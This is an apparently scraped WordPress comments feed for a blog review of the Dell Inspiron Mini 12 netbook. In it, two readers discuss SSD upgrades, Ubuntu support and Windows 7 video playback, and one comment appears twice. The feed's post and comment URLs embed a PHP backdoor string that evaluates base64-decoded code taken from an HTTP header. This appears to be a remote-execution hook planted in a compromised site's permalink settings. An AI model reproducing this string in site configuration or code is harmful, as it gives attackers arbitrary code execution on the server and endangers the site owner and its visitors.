Comments on: Dell Inspiron Mini 12 Review http://neowster.com/2008/12/05/dell-inspiron-mini-12-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I will show you the light Fri, 03 Sep 2010 14:25:08 +0000 http://wordpress.org/?v=2.6 By: Noel http://neowster.com/2008/12/05/dell-inspiron-mini-12-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-462 Noel Sun, 15 Mar 2009 15:03:54 +0000 http://neowster.com/2008/12/05/dell-inspiron-mini-12-review/#comment-462 <p>Hi Drew, if you do succeed in replacing with a SSD, do share how you do it. A video will be great. I can't see any obvious ways to open up the case, and it guess its not for the faint hearted. But I am definitely loving the mini 12. Haven't regretted the decision, but really find the absence of status lights a bit "lacking". Anyway, I been wondering can I get stock ubuntu to run on this machine? And I believe the 1GB limit is due to the mainboard chipset limitation right? As Z series was meant to be for MID from what I read.</p> Hi Drew,

if you do succeed in replacing with a SSD, do share how you do it. A video will be great. I can’t see any obvious ways to open up the case, and it guess its not for the faint hearted.

But I am definitely loving the mini 12. Haven’t regretted the decision, but really find the absence of status lights a bit “lacking”. Anyway, I been wondering can I get stock ubuntu to run on this machine? And I believe the 1GB limit is due to the mainboard chipset limitation right? As Z series was meant to be for MID from what I read.

]]> By: Drew http://neowster.com/2008/12/05/dell-inspiron-mini-12-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-458 Drew Fri, 13 Mar 2009 15:10:02 +0000 http://neowster.com/2008/12/05/dell-inspiron-mini-12-review/#comment-458 This thing runs beautifully under Windows 7. The only part it lags in is Full Screen Flash video from sites such as Hulu or Youtube. I only acheived reliable quality when switching to 800×600 which is ridiculous. AVI, WMV, XVID and DVD all played reasonably well with only a slight hiccup here and there. Other than that, who can complain about a 1280×800 screen on a netbook? And 4.5 hours of battery life? Next I plan to replace the stock 4200 zif drive with a zif based MRON SSD drive at 64GB. Comparisions show about a 120% increase in read/write speeds and turn this machine into a real work horse. I know when I am at the data center trying to look at that little 9 inch screen that was on my Acer Aspire One and type on that cramped keyboard was such a pain. If they release this baby in a 2GB model with a better graphics option and a stock SSD drive they will hit that magic sweet spot in the market. This thing runs beautifully under Windows 7. The only part it lags in is Full Screen Flash video from sites such as Hulu or Youtube. I only acheived reliable quality when switching to 800×600 which is ridiculous. AVI, WMV, XVID and DVD all played reasonably well with only a slight hiccup here and there. Other than that, who can complain about a 1280×800 screen on a netbook? And 4.5 hours of battery life? Next I plan to replace the stock 4200 zif drive with a zif based MRON SSD drive at 64GB. Comparisions show about a 120% increase in read/write speeds and turn this machine into a real work horse. I know when I am at the data center trying to look at that little 9 inch screen that was on my Acer Aspire One and type on that cramped keyboard was such a pain. If they release this baby in a 2GB model with a better graphics option and a stock SSD drive they will hit that magic sweet spot in the market.

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